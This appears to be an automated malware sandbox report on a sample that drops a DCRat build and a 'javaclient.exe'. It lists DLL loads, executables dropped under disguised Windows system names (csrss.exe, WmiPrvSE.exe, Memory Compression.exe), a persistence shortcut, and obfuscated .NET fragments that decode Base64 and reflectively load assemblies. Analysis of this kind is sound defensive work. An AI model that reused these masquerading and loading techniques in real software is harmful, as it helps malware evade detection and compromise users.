Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: profapi.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: apphelp.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: sspicli.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: mscoree.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: kernel.appcore.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: version.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: uxtheme.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: windows.storage.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: wldp.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: profapi.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: cryptsp.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: rsaenh.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll

Source: C:\Users\user\Desktop\cougif6lqM.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: JavaClient.lnk.2.dr

LNK file: ..\..\..\..\..\..\Local\Temp\javaclient.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\cougif6lqM.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

Source: C:\Componenthost\providerreviewdhcp.exe	Directory created: C:\Program Files\Windows Mail\WmiPrvSE.exe	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Directory created: C:\Program Files\Windows Mail\24dbde2999530e	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\csrss.exe	Jump to behavior
Source: C:\Componenthost\providerreviewdhcp.exe	Directory created: C:\Program Files\Windows Security\BrowserCore\en-US\886983d96e3d3e	Jump to behavior

Source: cougif6lqM.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: cougif6lqM.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: cougif6lqM.exe

Static file information: File size 1265664 > 1048576

Source: cougif6lqM.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x11de00

Source: cougif6lqM.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Data Obfuscation

Source: javaclient.exe.0.dr, 4KZlQoO1svmgdm30ZchiekvS1KW0OxLVyydzOO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{nsDvajUNOxq8slf7VTQIqNti6uU9kwMBSkPQt16B0uEh8eyI5tNgxVgXsAz0JOsfkR28P90WkyucbAS3GJ0UL4rMGP05MIE.MI1iEGpW09rVqJDMiyqjSjXkppRwekowAYmEmg3pb6kcQuE1jVL1ZmLVqVd7DiPXYn4vXWfHZBgSuX4FKWVR4q7Z7RnTJS6,nsDvajUNOxq8slf7VTQIqNti6uU9kwMBSkPQt16B0uEh8eyI5tNgxVgXsAz0JOsfkR28P90WkyucbAS3GJ0UL4rMGP05MIE.BgQ85B6mTS7oT9yGU6XmtQTNLu5qGbk8HGPkkhr9gxIGDJnLCscbRJeDHLbH4Uy7PofCWipjM5GmzRLc3D02d85OppS0bC6,nsDvajUNOxq8slf7VTQIqNti6uU9kwMBSkPQt16B0uEh8eyI5tNgxVgXsAz0JOsfkR28P90WkyucbAS3GJ0UL4rMGP05MIE.tsOa7UX43EE5W1KKyLrKGnrf5yroCfKtC5qUOB1y6TQOJBDxV1uOAnITqndYtRK9PTLIbLjmEaAnGZte5vBi6OOUoIL4ozc,nsDvajUNOxq8slf7VTQIqNti6uU9kwMBSkPQt16B0uEh8eyI5tNgxVgXsAz0JOsfkR28P90WkyucbAS3GJ0UL4rMGP05MIE.j0UmkmvXqRQhxoux08TIUtdT2Kw8SmPyO02DWNlR7Citb8uPYC8eZjcqnBVhm5cgeZhEWYKaN53vP4pVQ0jrrirGQEvxwIQ,mRMv10HbZpwLFNjCwmoHBKxrw0NcMSjvzittQ7G5wQNBNo8SaleZ11W6JDVJ762DAuQ5l0.bXowFz0Fht9cTCjkkACvmbEys0sgrUAJVtJHNPngz2C9ilgh4MeGc2q()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: javaclient.exe.0.dr, 4KZlQoO1svmgdm30ZchiekvS1KW0OxLVyydzOO.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{_6YWdCkLrLmys75hT200Cmxk4GnfNHJCMiD3W7s85plRmVyqloZabeo5Ty0z2weNbiw28oJ[2],mRMv10HbZpwLFNjCwmoHBKxrw0NcMSjvzittQ7G5wQNBNo8SaleZ11W6JDVJ762DAuQ5l0.VjkYlsWRf6S5vtySuMpeNjXGtfHROsbku2bRXEkN6tqtSNeXr9oaRYB(Convert.FromBase64String(_6YWdCkLrLmys75hT200Cmxk4GnfNHJCMiD3W7s85plRmVyqloZabeo5Ty0z2weNbiw28oJ[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, PVStjT4hn5scdS4lfYS.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, PVStjT4hn5scdS4lfYS.cs	.Net Code: typeof(Marshal).GetMethod("GetDelegateForFunctionPointer", new Type[2]{typeof(IntPtr),typeof(Type)})

.NET source code contains potential unpacker

Source: javaclient.exe.0.dr, 4KZlQoO1svmgdm30ZchiekvS1KW0OxLVyydzOO.cs	.Net Code: hja93SIc1BJIhS3C3Hb9fbirVCuS76pOIbvFCY System.AppDomain.Load(byte[])
Source: javaclient.exe.0.dr, 4KZlQoO1svmgdm30ZchiekvS1KW0OxLVyydzOO.cs	.Net Code: GXBdzhkuOHWVlLRph5t6A8vXW9QzcpKRIegEn2PF5hLbWs1JdguSoVPuiZX7V8SNQ87UT0 System.AppDomain.Load(byte[])
Source: javaclient.exe.0.dr, 4KZlQoO1svmgdm30ZchiekvS1KW0OxLVyydzOO.cs	.Net Code: GXBdzhkuOHWVlLRph5t6A8vXW9QzcpKRIegEn2PF5hLbWs1JdguSoVPuiZX7V8SNQ87UT0
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	.Net Code: B8iblQIJNa System.AppDomain.Load(byte[])
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	.Net Code: B8iblQIJNa System.Reflection.Assembly.Load(byte[])
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	.Net Code: B8iblQIJNa
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	.Net Code: B8iblQIJNa System.AppDomain.Load(byte[])
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	.Net Code: B8iblQIJNa System.Reflection.Assembly.Load(byte[])
Source: 3.3.DCRatBuild.exe.536e5b3.1.raw.unpack, tp1VHAMlJ4NNAG3oSlG.cs	.Net Code: B8iblQIJNa

Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe

File created: C:\Componenthost\__tmp_rar_sfx_access_check_6408531

Creates processes via WMI

Source: DCRatBuild.exe.0.dr

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\cougif6lqM.exe	Code function: 0_2_00007FF886EE00BD pushad ; iretd	0_2_00007FF886EE00C1
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1E28C push eax; ret	3_2_00F1E2AA
Source: C:\Users\user\AppData\Local\Temp\DCRatBuild.exe	Code function: 3_2_00F1ED46 push ecx; ret	3_2_00F1ED59
Source: C:\Componenthost\providerreviewdhcp.exe	Code function: 7_2_00007FF886EA81F1 push eax; ret	7_2_00007FF886EA81F2
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FF886DAD2A5 pushad ; iretd	23_2_00007FF886DAD2A6
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FF886EC00BD pushad ; iretd	23_2_00007FF886EC00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FF886F97BFC push esp; iretd	23_2_00007FF886F97BFD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FF886F92316 push 8B485F93h; iretd	23_2_00007FF886F9231B
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 23_2_00007FF886F97F5F push ecx; iretd	23_2_00007FF886F97F61
Source: C:\Users\user\cmd.exe	Code function: 29_2_00007FF886EB81F1 push eax; ret	29_2_00007FF886EB81F2
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Code function: 38_2_00007FF886ED81F1 push eax; ret	38_2_00007FF886ED81F2
Source: C:\Users\Default\AppData\Roaming\Microsoft\Windows\Printer Shortcuts\hvxmowIikyCfRrhhAMpWFavmEnuKtL.exe	Code function: 40_2_00007FF886EDBDE4 push E8FFFFFEh; ret	40_2_00007FF886EDBDE9
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Code function: 41_2_00007FF886EBBDE4 push E8FFFFFEh; ret	41_2_00007FF886EBBDE9
Source: C:\Program Files (x86)\Windows Defender\en-GB\Memory Compression.exe	Code function: 42_2_00007FF886EDBDE4 push E8FFFFFEh; ret	42_2_00007FF886EDBDE9

Source: cougif6lqM.exe	Static PE information: section name: .text entropy: 7.998330200111187
Source: providerreviewdhcp.exe.3.dr	Static PE information: section name: .text entropy: 7.007324800883365

Source: javaclient.exe.0.dr, Wb9Rc9BKarUg4RFrypNZgV5pqwxCjwKP0mOIvI7cU5KsXP7jz33huhq.cs	High entropy of concatenated method names: '_7Dodhkcxy1E5ftdZvP4no0Y3YihssqBR7eKappwUVa9YfeDZ5y5hN3g', 'dnM6evhItMX1jC4Oq26I56UZ8MtF5TCfi6DTC42zLtrO1grNHf5br8c', 'WMo1RARL3wwEDW4XC63E0lY7si2pkpLaTiskkOfpl6NsroMI0PDdXXS', 'BbGYcqsj23Jn3wt', 'K5i2CiVuJycyNj3', 'sfB4jN90PlAWn04', '_3Tc1rNcs6k9YCJi', 'I56bu7FRXyUSMMq', '_1IeUyMEaoFL2lgg', 'Gvay2SuToTVFvaH'
Source: javaclient.exe.0.dr, MI7ahEwb4RMEdcFmjxSqMeyJdvN5L0m6OSY7Uw26JfXl44hUzuBW1R0Nt2PrzwVgcqogYZJfjFGmH6.cs	High entropy of concatenated method names: 'Equals', 'GetHashCode', 'GetType', 'ToString', 'Create__Instance__', 'Dispose__Instance__', 'uU9mlenMSBi5RvAipxsEbzRt53u0Fm', 'pXdIG3Z60U1u89cn7aX0d0xoNj1dFg', 'Okrdi5XIAsrn6ZTg6qx58AzeEpgeiQ', '_1q7cR5BmThtwxjv7QjkFB20BtAOPmR'
Source: javaclient.exe.0.dr, 4KZlQoO1svmgdm30ZchiekvS1KW0OxLVyydzOO.cs	High entropy of concatenated method names: 'b5mqe6JRfZNHFUjoGQz3LjKtro4Q4BaCxl4gEK', 'hja93SIc1BJIhS3C3Hb9fbirVCuS76pOIbvFCY', 'UXv4Pu7mYXDyNw5okxvR54Y2DbUkOqJai2I8gm', 'ppWQQf9bkdt1F9r5hsHfXoLVGNXlwmbAdxTYC4', '_0k3Xdphz4IM7dBZsziG4z5dUanracmaqrMAnBG', 'nKNpkxsStkIpVe0JXSQ7DxNyK1AUyl5saJ47rX', 'KMZC56EUJoQaaQufXl8T3vmpnGnThv62EYOJri', 'JA9DnT8YB2KxTMRFxbAcTmNwEmlFc4ACUq8JR6', 'iXJVYNExaSpn5oP5urblptW1gzSuxQizdD7L0hh5Z7Nk3BFEqEP3ajy8W4rXkTFAE0WHiG', 'spI6G4govUedjBJPBUVS2Oq35Ou7LbcdsWx3xXbIKbYGmwpEkXCzszGPL1rBJC5C7AbuLV'
Source: javaclient.exe.0.dr, oZUeEdN0kIwhXAwI69kFxA2hZhkNBzdXM1rm5RCd4nrldYnWQyO1s3GSV3ejssi646Zqih.cs	High entropy of concatenated method names: 'yQzifzBfK2E2JSktt3uwXZZb0lM9HuQh64bKdz0oiZZJlbOM7Oo555Y4R6bbAixRm24BGC', '_5AKH5csiFn0ttfR', 'LpNLuceP2gZDRqu', 'oDIOEtIUIz86pQr', 'XHPGxAFVkTsds5f'
Source: javaclient.exe.0.dr, 3z47e5yEjIaC9B1hDFt6A9GQj3CJfYkuSeX7YESjPnVRjJ5Lso5r5fInPHg76SuXxJGGfH.cs	High entropy of concatenated method names: '_044ZGqcxT8DbFFMXqJkcBsWrmeW91hwrUniADcIISPZlc7Kc8ZoJVjy5ao8pik7ODnCwPi', 'kawteYpuc2jo9rVLaJ9fmx70APVCd4JcIIbV1Ey4JvbzJ1LRH0ALYXkzP8mcp45v28krOv', 'pWXwIHYd2f2gwi7LHxDSnEcNWD4cJHWkTVBNxbH0MvtzG3tNTqdC6kiDF3fTtULVaVDgEm', 'qy7pBgaPYi3jKms2AVsYWvs3e26X7TZZ98YUqprnrhFouY3hQlOFxnwmyIsFBGTZU9rjFt', 'C2hHtHcUQ6K4uQA', 'bRiIfCm3HLhGzzR', 'AgDZT3UxuB1fpvt', 'vcnAbAZi2SHGSWE', 'irmtPOmPRnYeGwn', 'gzpzPrTJuoTUCbt'
Source: javaclient.exe.0.dr, Xy6KZgd0DSmU2NM9zvDSxkdHCTCy6myCJgvl3v.cs	High entropy of concatenated method names: 'h01TyDQuQg0sopOjh1fD9JFutvfb35wzIUrSZy', 'cjcACayLYhSZTnKJVdmOpciYCtfrIjhz5q8jIH', 'Z5XLfWxTOk0hRysOCkjDig957yvDewwTuxYiFU', '_8AQfKPx4T1BaADZIwn8eZ1Wn9MHHNlBdEGDgEO', 'AlQAopl4PqMy6dHZBKSc4R9DXHLjIr', 'iaqTG8cCAV4G9aoj3v4cZyIj3Gx69W', 's1ECtgGv8xOexAl8lLZqGAQpIOpPFR', 'ur0HKTUP9CniK8D6KwRtL7JFsmYt6A', 'ttaEGBQtcuHNVUmjuch3cpsVV9mCVL', '_9cJ7E1WD0g6iix59IFZ51htZXvtBEG'
Source: javaclient.exe.0.dr, StlEUbFdJZHX9iqp9y0vGOLHru7O9CqwhAtkNxmmtIzacgnk1V1a8HJAfPU1Th8PIJHJOg.cs	High entropy of concatenated method names: 'H67aMUcHuCg4AhoV8qy2gIgsBThuUcYAIwPdcKuztlTNgVX3DCKJwhgMRhH3nGFL5VEexL', 'RmQvvqYcwrJRodw', 'XfhL3OcyoXwYM7n', 'CLaJmNAK9FFFmaK', 'HJbhQ9nIWbph7g9'
Source: javaclient.exe.0.dr, mRMv10HbZpwLFNjCwmoHBKxrw0NcMSjvzittQ7G5wQNBNo8SaleZ11W6JDVJ762DAuQ5l0.cs	High entropy of concatenated method names: 'm1bDiEvR7Ay1xUgeZ9RVgMbJJYDDdrBfK0bMTbToGG7wIb2AO754qcHSyRT7pjV3iHl9Gw', 'zROi1IUFG39kLKS346keCec3WNF5wxrIgiZbYsl4iifpap0aMTShChJaCGuUsLPv9uungS', 'oLanrHuEYkC1XGREVY3SKaCYO8kYXgP7PHJk1V85cJjulZZwnaSWnekPLgbNGyLyyAvrY7', '_7SuoHKPPyvkl09LyD09z6d5tGj7VNF1ZLEkPFebWBBn4XEOgS5QUVV3tSDU4gHh4GXjVst', '_7vFRD7qVbBd8jrZQluQrd0RX9Cdn4aqhZBi5EywSZ3TOpBgahGGVXRltfEmJickWsyT9iJ', '_9Km99rF3MGgGTpzBTQglb1Ek6CGKzVCNY2ievBcHDFHwvBhaKMTqA2L2k59Bl2m91qgJeb', 'Z2gyLsYN3BSCoz1eaGAoe7HL3U1xeVeHVOyTCp4pnLSaqsKmY5isRLE8EEL4VdANL6hmrH', 'FL20hImHcDxvX3ZO0fZKNqk9fJEstYsJR6fzsFSg9cdhEaN3eOt9zNiFxxFL00ifGwLMAs', '_2r07m8pRSIUOzu15Vl8uXiv9VXbudMH01MFEiVL36ERNSKos1rq3n5Gfm8nE9CWdhbsiut', 'lH5T0vAUYLGTV0eAIXrDgPbWgizrDDG2Ak0pYjsqPqouZbKXFWigNUAcWOiqYCgLMQJhuo'
Source: javaclient.exe.0.dr, ZPc799oFDlHD7nzPTpU9mHApETofsGEBQ5rjH5.cs	High entropy of concatenated method names: 'Qwqt6CKGHsy0xdUjvl4XNwimjPFQGWlw41uOpB', 'wBjyZFRZsQyxSErE48dgGHTTGK9c5wNf4wTrck', '_5SXFcdPNcD0DgTBkHIRP97Gbjjf7HzgiP2wDou', 'a9m8QnVdPLo9ZoWgDmvjNIeQBcho5kTuSUQO6W', 'rCzjoXBJsUSdeyQMMpzFFcBzeJ9D7DUic8UWBp', 'B1NYOi67TmcglRqMGtoaDarakbcOEQ8Rx9vthk', 'ZGMR7Fm0Bk3D4Berx6sYNxsvOJ37o0Yk597urs', 'ujkjLzrjSDKSkkMtL2OQsOXJFPaWiSh0nG05d6', '_73s8TRn1x73ZsD1IsjzF1TJ2GRfylO5FOhRtoq', 'QJqx8n3JyKcTgy0xkPcfSD4HB2tnP3tvzebGyP'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, tdSiuSDaMjdFhUgObFS.cs	High entropy of concatenated method names: '_7zt', 'CAWgCouuRT', 'FiOgOxJ2Ic', 'hm9gmDRRuk', 'IFTgQATEFT', 'GOqgJBmSRA', 'A2pg9tZUAj', 'sL5A1Tnjpg1I6KAh5in', 'qFLXaQnZwokYb4IMZDT', 'fZUM3JnQMt4eIqbLCE6'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, HXrR7qkDf0Fi44gKRJ1.cs	High entropy of concatenated method names: 'e36WodF6qn', 'BomWrZ1cQ6', 'f7kWsm91HQ', 'hU9WNDvEV5', 'gicWn7kr3a', 'GusWEUwNi6', 'VbERsCNEsbVvwLT3E8l', 'nuXd0tNYMynGG8wqfmK', 'PLdKXUNKU71c8nA26UN', 'FynVwTNqk8oApSdk9IO'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, sUnRYVCiRw8ZadMnWY.cs	High entropy of concatenated method names: '_52U', 'YZ8', 'M5A', 'G9C', 'eesWWSHL2drSBDxLvHx', 'e5ixO3Hif2IyBL8oXHk', 'lkOLIjHyMND9eVFt8kt', 'yWuxy2HXLqTRVwabTl9', 'icySvEHvFnnujmKhkEp', 'TBl8KRHVnv5cYtsyOA8'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, SjZBBJ5sEtuH684DtpW.cs	High entropy of concatenated method names: 'IA46Babn9r', 'CGjf62RqTUdOAnDWAeJ', 'mi7i8JRFJRjjgBOer4s', 'qjWWjdRKw2L8c98uleN', 'sRVND8REEVZMLcZ5AN1', '_1fi', 'nbt5hL8cDK', '_676', 'IG9', 'mdP'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, GZZEGKMLLRQu2sDQVI6.cs	High entropy of concatenated method names: 'dXvKkCwReb', 'pgNKlaDXgI', 'od4gx77JRkEwkIYiSxl', 'IuZisN7BgCVVkhfRnYJ', 'cc5v657jQLLp1BWJJpE', 'ShK5Vq7Zlj9nyhh257i', 'rZ7Eoa7ncoa1UKi9sb1', 'ElUsZO7YAVNsWOK9rTf', 'eZo7tT7K2mE1s6QfHoM', 'o6447F7E2i6FZmUM5PF'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, riAopur7oofVq4YBIsv.cs	High entropy of concatenated method names: 'fcvX5IbfyE', 'dPIX62rJPJ', 'F8e', 'bLw', 'U96', '_71a', 'O52', 'RwsX0vKd1B', '_5f9', 'A6Y'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, U6p1FPktFl1cR68DAXN.cs	High entropy of concatenated method names: 'oYo', '_1Z5', 'MnuGbGZN2g', 'zFFiKA9VAS', 'CdoGTDWYvq', 'LIB7tKZG67C8qLAqHry', 'PyrMX0Z0rhY2OHO3sci', 'bpRZqkZ7Jt0eZ84UlL5', 'FtK96aZlo04C5lWhAXC', 's5odbAZwnSQGilF4fW1'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, SYyIg6MMNfhQnewQRgt.cs	High entropy of concatenated method names: 'ChaGEenalh', 'IGfGqgsEik', 'GOhGpxWWxI', 'lrMGhCwdhd', 'mL6GAQcDvv', 'LXuGM7npwF', 'yBQbU7cW7gb19veHuMy', 'Q9ZjFAcUaZu3FVR8NS7', 'bFcvYDclh6Gd6gqWl03', 'zFVhk0cwixSqsAMBih0'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, hymEolDmJCDvG7pXDtp.cs	High entropy of concatenated method names: 'tSeltxcyPc', 'i9AlDhqPgR', 'CFMlccHFFv', 'lvOlPgEFn2', 'rmBlBYU1F5', 'DSAlZSvLAu', 'TQWl4s3XpV', 'yo1lVo9PqV', 'GcCloWPGvP', 'Nghlrtd830'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, hUcm6qDlM5iRY6t5U0Z.cs	High entropy of concatenated method names: 'uxk', 'q7W', '_327', '_958', '_4Oz', 'r6z', 'r7o', 'Z83', 'L5N', 'VTw'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, C1tlcgkbm50McP14eAR.cs	High entropy of concatenated method names: 'ydARA5iYeC', 'Kb9RMriUZL', 'oh9R1jrJDq', 'dgIRIU0ucH', 'opBRaryXXg', 'sORh249Iey3O5e47ZWF', 'yypsmX942W1Rbx2TpMD', 'flMnAN9fRBiVxDl4rYZ', 'r27pT79HnGWKaWlDLsQ', 'rOurow96L6fan0k31ZP'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, CRcZ1XDiyfXWALjR5J3.cs	High entropy of concatenated method names: 'wZZk20uRwD', 'Bi2kDRvQ77', 'LS3kcPYUjS', 'NlZkPsUJxD', 'c8okB4B5sP', 'RjjcaWYNin3kNQ76EbC', 'xRdE4rYWxavD8pE5xhl', 'jgUo1QYUnLPIeTWuND3', 'qSm2jBYxQNuH8KdqAtX', 'Y9TSfkYQX0VKtd7AHiF'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, iu9NfPXI5EJAe19Mmf9.cs	High entropy of concatenated method names: '_625', 'YZ8', '_9pX', 'G9C', 'jJuMMx3QthFpeh7OpUV', 'KO5R6v39bTLoqYh5Tgv', 'OwGwHB3jxGX6bfPokwO', 'LXHqtN3ZWI1luEvvpGM', 'GyvG0X3JeAxc3cAZfCu', 'PCfRLs3B0uFF6nfCAhn'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, DT03pUXYIEy4GFhTafP.cs	High entropy of concatenated method names: 'UCsS0lJoXU', 'p0Kolg6WpotpXc8DdEP', 'es9Qp46UQSUr80kfIAa', 'x1xiag6l0LE6lRmCCB6', 'BdF3Fi6wlEVGSDqiguV', 'jAXDsY6NVnZyGW3n77E', 'C2yeEB6x4TTtA2WjQkc', 'ryB5Rq6QJ8diqkmNdec', 'C0xyLY699en6BGrnnVo', 'f28'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, yIhTZoX797Z8Liv5h9K.cs	High entropy of concatenated method names: 'yAyGJjBb8c', 'slXG9ROQqC', 'EqgGYgqMi5', 'dFw2Qe13iEn4Vk5pDy8', 'AHmTU01PYkgFWoBNYEQ', 'VsvjVx1MQm0meWTQ1mW', 'A3avUQ11YvTE0ld3bdt', 'gJjDu41cU0BcFBuYXcM', 'gsueuR1GiU5mPvpWXtX', 'ylY4cn10rtoxmrNmxdP'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, vOUSlNrluZFMtRC00b1.cs	High entropy of concatenated method names: 'JUUYOvFZZT', 'Mv2YmVcCp8', 'dZ6gBbTLh4nWhd37bkw', 'Mx1vSCTiPLlt6PTPt2E', 'qDetnYTyEC91haLh9vQ', 'eBVL4XTXM2MVgVHjYaK', 'EVMEpTTv7Jvr4TyomEc', 'KpjBgSTVwbd8WFo04HE', 'jE7O2ETzfVjGu8JXRVb', 'sFuUIer5SZB3Sh8m0er'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, U5c5ALXZYnNckYqevqc.cs	High entropy of concatenated method names: '_7v4', 'YZ8', '_888', 'G9C', 'f09U5t3ARcqrBrpVEYD', 'ct2y2e3dnrycLrh6NaX', 'MobS5m38985beDy6WNj', 'nUebAf3oHQ1O4dk9Q5g', 'IgQk6P3TKMToUJ8Bvwc', 'NhSq7Y3rEjOFCh1y78t'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, vdTvwykPKYw0ihdLp6t.cs	High entropy of concatenated method names: '_525', 'L97', '_3t2', 'UL2', '_6V2', '_968', 'BL6EZHjGgpFPFb4Ba8m', 's9EZ0hj0QajvLceDhuS', 'Vexvujj7qbyaXMsTmO4', 'sghfZnjleEPGRHdp6XX'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, lw6lLjDnqcnsu0RQKqd.cs	High entropy of concatenated method names: 'A9Ug2VnJNn', 'VyWgDjqVxr', 'A5IgcGped8', 'MqDgP0KB6M', 'tVogB3VWXJ', 'sQGu0wnoFcft6FDgbmy', 'DgbTtOnTIYbnD6NAlHx', 'GHxGkundYyImpZjeTRF', 'EyaAW5n8vjXRJIHJva0', 'Vvq9H2nr91VqCaFAZ7K'
Source: 3.3.DCRatBuild.exe.69ce5b3.0.raw.unpack, dCZaLq43G3e24QElXD.cs	High entropy of concatenated method names: 'b46ktZGAb', 'wEh37mdV7G1b3Ty191', 'bpD0iLFC6srr6It8Fv', 'Hc0SeaA8MeosNT4BEG', 'FIC7WK8uHTMRQ7cGdV', 'if8UxGoUV0YV12SyjV', 'j9qG87eYB', 'ArBbV4pN6', 'aiIKePb3Q', 'HlRwVPGL8'
